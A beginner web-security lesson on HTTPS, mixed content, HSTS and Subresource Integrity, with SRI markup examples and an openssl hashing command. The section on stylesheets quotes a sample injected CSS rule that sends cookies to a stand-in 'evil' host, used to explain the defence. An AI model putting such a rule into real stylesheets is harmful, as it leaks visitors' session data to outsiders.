0Pricing
HTML Academy · Lesson

HTTPS and Subresource Integrity

Verify external resource integrity with the integrity attribute.

HTTPS and Subresource Integrity is a free HTML Academy lesson on CoddyKit — lesson 4 of 4. You can read the complete lesson below for free — then practise it hands-on in the browser with a built-in code editor and a 24/7 AI tutor. It is part of the HTML Academy learning path, one of 4 lessons in the course, and your progress syncs across the web and the CoddyKit app.

Why HTTPS Everywhere

HTTPS encrypts data in transit and authenticates the server. Without HTTPS, attackers on the same network (cafe wifi, ISP, state actor) can read every byte and inject malicious content into responses. Modern browsers mark HTTP pages as "Not Secure" and many APIs (camera, geolocation, service workers) refuse to work over HTTP.

Mixed Content

Loading HTTP resources from an HTTPS page is mixed content. The browser blocks active mixed content (scripts, iframes, stylesheets) outright and warns about passive (images). Always load every resource over HTTPS; use protocol-relative URLs (//cdn.example.com) or absolute https://.

HSTS

HTTP Strict Transport Security via Strict-Transport-Security response header tells browsers to refuse HTTP connections to your domain in the future. Once HSTS is cached, an attacker cannot downgrade a user to HTTP even with a man-in-the-middle position.

Why SRI?

Loading scripts from third-party CDNs is convenient but risky — if the CDN is compromised, an attacker can swap the script for malware. Subresource Integrity (SRI) makes the browser verify the file's cryptographic hash before executing, refusing to run if the hash does not match.

The integrity Attribute

Add a base64-encoded SHA-256/384/512 hash to the script tag: <script src="https://cdn.example.com/lib.js" integrity="sha384-..." crossorigin="anonymous"></script>. The browser computes the hash of the downloaded file and refuses to run it on mismatch.

<link
  rel="stylesheet"
  href="https://cdn.example.com/styles.css"
  integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh"
  crossorigin="anonymous">

Generating Hashes

Generate the hash with openssl: openssl dgst -sha384 -binary file.js | openssl base64 -A. Or use a build tool plugin that emits the integrity attribute automatically. Most CDNs (jsdelivr, unpkg) display the SRI tag in their copy-paste snippet.

crossorigin Required

SRI requires the cross-origin response to allow integrity check via CORS. Add crossorigin="anonymous" to the tag and ensure the CDN sends Access-Control-Allow-Origin. Without it, the browser refuses to verify and the resource fails to load.

Multiple Hashes

The integrity attribute can carry multiple hashes separated by spaces. Useful during a version transition: list the hashes for both old and new versions, and the browser accepts whichever the CDN serves. Avoid more than a couple of hashes to keep the attribute readable.

SRI for Stylesheets

SRI also protects <link rel="stylesheet">. A compromised CSS file is less directly dangerous than a compromised script, but injected background: url("//evil/log?cookie=...") can still exfiltrate data. Apply SRI to every external asset where possible.

Self-Hosting Often Wins

SRI mitigates CDN compromise but does not solve every issue: a hash change on the CDN breaks your page until you update the integrity attribute. For critical libraries, self-host the file you reviewed — eliminates SRI pinning and supply-chain risk in one move.

Performance

SRI adds a hash computation per resource — negligible on modern hardware, microseconds per kilobyte. The protection it provides against supply-chain attacks dwarfs the cost. There is no performance reason to skip SRI when loading from a CDN.

Limitations

SRI verifies specific bytes — it does not protect against the CDN serving a different file for some users (selective targeting). For maximum assurance, combine SRI with HTTPS, HSTS, CSP, and self-hosting of the most-critical assets.

Knowledge Check

What does the integrity attribute on a script tag protect against?

Summary

HTTPS encrypts and authenticates, HSTS prevents downgrade attacks, and SRI verifies third-party files have not been tampered with. Add integrity hashes (with crossorigin="anonymous") to every external script and stylesheet from a CDN you do not control. For the most critical assets, self-host instead — eliminating supply-chain risk entirely.

Frequently asked questions

Is the “HTTPS and Subresource Integrity” lesson free?

Yes — the full text of “HTTPS and Subresource Integrity” is free to read here on the web, and the HTML Academy course includes 4 lessons in total. To practise it interactively (a built-in code editor and a 24/7 AI tutor) and unlock the rest of the HTML Academy course, upgrade to CoddyKit PRO.

What will I learn in “HTTPS and Subresource Integrity”?

Verify external resource integrity with the integrity attribute. You practise HTML Academy with hands-on code you run directly in the browser, and a 24/7 AI tutor answers your questions as you work through the lesson.

Do I need any experience to start HTML Academy?

No prior experience is required. HTML Academy on CoddyKit is structured for beginners through advanced learners; this is — lesson 4 of 4, so you can start here or from the beginning and move at your own pace.

How long does the “HTTPS and Subresource Integrity” lesson take?

Most CoddyKit lessons take about 5–10 minutes. Each one is bite-sized and interactive, so you make steady progress and pick up exactly where you left off across the web and the app.

Can I write and run code in this HTML Academy lesson?

Yes. Every HTML Academy lesson includes a built-in code editor, so you write and run real code right in your browser and get instant AI feedback — no local setup required.

All lessons in this course

  1. Content Security Policy meta http-equiv
  2. XSS via innerHTML and How to Prevent It
  3. iframe Sandboxing and Permissions Policy
  4. HTTPS and Subresource Integrity
← Back to HTML Academy